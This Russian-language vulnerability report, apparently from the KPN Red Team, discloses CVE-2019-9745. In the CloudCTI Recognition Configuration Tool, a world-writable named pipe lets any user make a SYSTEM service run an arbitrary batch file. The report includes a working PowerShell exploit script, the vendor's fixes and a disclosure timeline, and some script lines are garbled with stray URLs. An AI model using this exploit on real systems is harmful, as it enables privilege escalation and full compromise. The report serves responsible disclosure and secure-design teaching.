Анализ первопричин выявленных проблем показывает важность таких практик, как TM (моделирование угроз). TM помогает выявлять риски на ранних стадиях проектирования и разработки. Это может привести к снижению неприемлемых рисков или перепроектированию/переработке. Хотя читателю рекомендуется провести собственный анализ, для справки приведены описания контрмер вендора.

Уязвимость

Программное обеспечение вендора состоит из четырёх приложений, работающих вместе. Первое приложение — графический интерфейс пользователя (GUI). Он позволяет пользователю инициировать получение информации из нескольких пакетов CRM-программ:

GUI делегирует получение информации службе (второму приложению) путём отправки сообщения. Первые проблемы безопасности проявляются именно здесь: не только любой пользователь системы может наблюдать сообщения между GUI и службой, чтобы определить их формат и содержимое (влияя на конфиденциальность), но и отправлять собственные сообщения (влияя на авторизацию). Кроме того, источник сообщений для службы не проверяется (влияя на неотказуемость). В терминологии моделирования угроз STRIDE это означает, что система подвержена раскрытию информации и вмешательству. Действительно, информация, извлечённая из этих сообщений, сыграла решающую роль в обнаружении уязвимости.

Третье приложение — один из множества специализированных импортеров. Служба перекладывает получение информации для конкретного пакета CRM на конкретный импортер. Сообщение, отправляемое GUI, содержит конкретные инструкции для этого импортера. При изучении импортера CRM Exquise выясняется, что получение информации дополнительно делегируется внешнему (четвёртому) приложению. При исследовании внутренней логики импортера было обнаружено, что внешнее приложение может быть указано в сообщении между GUI и службой. Проблема, которая здесь проявляется, заключается в том, что внешнее приложение выполняется без проверки его идентичности (влияя на неотказуемость).

Объединив эти проблемы, мы могли перехватывать сообщения для определения их формата и отправлять сообщение, в котором указывали собственное вредоносное внешнее приложение. Это внешнее приложение выполняется с теми же привилегиями, что и импортер/служба. Поскольку эти привилегии являются наивысшими возможными в системе, достигается полный контроль, и система оказывается скомпрометированной.

Эти проблемы устранены вендором путём шифрования сообщений (устраняя проблему конфиденциальности) с использованием уникальных общих секретов (устраняя проблему авторизации), доступ к которым имеют только аутентифицированные системные пользователи, владеющие ими (устраняя первую проблему неотказуемости). Наконец, внешнее приложение криптографически подписано (устраняя вторую проблему неотказуемости). Сочетание этих мер успешно устраняет уязвимость.

Технические подробности

Когда приложение GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) установлено, оно исследуется с помощью Process Explorer. Это показывает, что вспомогательная служба (Recognition Update Client Service) устанавливается и выполняется с правами NT AUTHORITY\SYSTEM:

При исследовании исполняемого файла службы (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) становится очевидно, что он разработан с использованием языка программирования .NET. Его можно декомпилировать с помощью dnSpy, чтобы получить представление о его внутренней логике, которая будет подробно описана ниже.

RUCS2017Service (внутреннее пространство имён .NET в исполняемом файле службы) оказывается тонкой обёрткой вокруг пространства имён RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Он определяет сервер именованных каналов (Named Pipe) с именем RUCS20151029 на RUCS2017.dll:RUCS2017.TRUCS2017:902:

Этот сервер именованных каналов запускается на RUCS2017.dll:RUCS2017.TRUCS2017:833:

Следующая однострочная команда Powershell используется для подтверждения того, что этот канал действительно активен в системе:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

При использовании функции Добавить приложение в графическом интерфейсе (см. Рисунок 01) на именованном канале с помощью IO Ninja наблюдается следующий незашифрованный трафик:

Он содержит следующие данные JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

Путем проб и ошибок оказывается, что ExporterApplication может быть пакетным сценарием, которому не требуется загрузка дополнительных ресурсов и который можно разместить в (пользовательском) каталоге, находящемся под контролем пользователя с более низкими привилегиями. Поскольку все пользователи могут записывать в именованный канал RUCS20151029, для отправки специально сформированного JSON в именованный канал используется следующий PowerShell сценарий:

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

Когда сообщение отправляется обычным (непривилегированным) пользователем (с помощью CVE-2019-9745.ps1), мы действительно видим, что CVE-2019-9745.bat выполняется с повышенными привилегиями (NT Authority\SYSTEM):

Заключение

С точки зрения пентеста, проверка на изъяны в (бизнес-)логике системы может потребовать значительных временных затрат. Поскольку большинство пентестов являются тестированием методом чёрного ящика (в отличие от тестирования методом белого ящика), это обычно включает обратную разработку. Тем не менее, как было продемонстрировано, изъяны могут быть столь же разрушительными, как и баги. По этой причине настоятельно рекомендуется двухсторонний подход, проверяющий как баги, так и изъяны.

С точки зрения вендора важно задавать не только вопрос 'как можно использовать наши продукты', но и 'как ими можно злоупотребить'. SDLC (Secure Development Lifecycle) может помочь с управлением рисками на различных этапах жизненного цикла продукта: требования безопасности, архитектура и модель угроз помогают на этапе высокоуровневого и низкоуровневого проектирования. Статический/динамический анализ кода и рецензирование помогают в процессе разработки. Наконец, тестирование на проникновение обеспечивает (независимый) аудит. Конечно, результаты этих процессов должны сопоставляться с аппетитом к риску. С финансовой точки зрения различные исследования (The Business Case for Security in the SDLC) пришли к выводу, что устранение дефектов (связанных с безопасностью) на ранних стадиях жизненного цикла продукта более экономически эффективно, чем их исправление. Это означает, что инвестиции в SDLC могут в долгосрочной перспективе снизить TCO (совокупную стоимость владения).

Объединяя обе перспективы, важно продолжать инвестировать в повышение осведомлённости о безопасности на всех фронтах посредством обучения и просвещения. Это гарантирует, что все стороны будут в курсе как возможностей, так и рисков безопасности в ИТ-сфере, которые быстро развиваются. Таким образом, мы все можем внести вклад в создание более безопасного общества.

Хронология ответственного раскрытия

• 25-01-2019 : Уязвимость сообщена вендору CloudCTI командой KPN CERT.
• 14-02-2019 : Hotfix выпущен для клиентов CloudCTI.
• 13-03-2019 : Резервирование CVE организацией MITRE.
• 18-04-2019 : Первоначальный патч предоставлен KPN компанией CloudCTI.
• 26-04-2019 : Повторное тестирование уязвимости командой KPN Red team.
• 02-05-2019 : Исправленный патч предоставлен KPN компанией CloudCTI.
• 02-05-2019 : Повторное тестирование уязвимости командой KPN Red team.
• 19-06-2019 : Патч выпущен для клиентов CloudCTI.
• 27-06-2019 : Уведомление о безопасности выпущено CloudCTI.
• 14-10-2019 : Публикация этого отчёта командой KPN Red team на GitHub.
• 14-10-2019 : Публикация CVE организацией MITRE.
• 07-11-2019 : Публикация этого отчёта командой KPN Red Team на kpn.com.

Критичность

Оценка CVSS, которую мы присвоили этой уязвимости, составляет 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).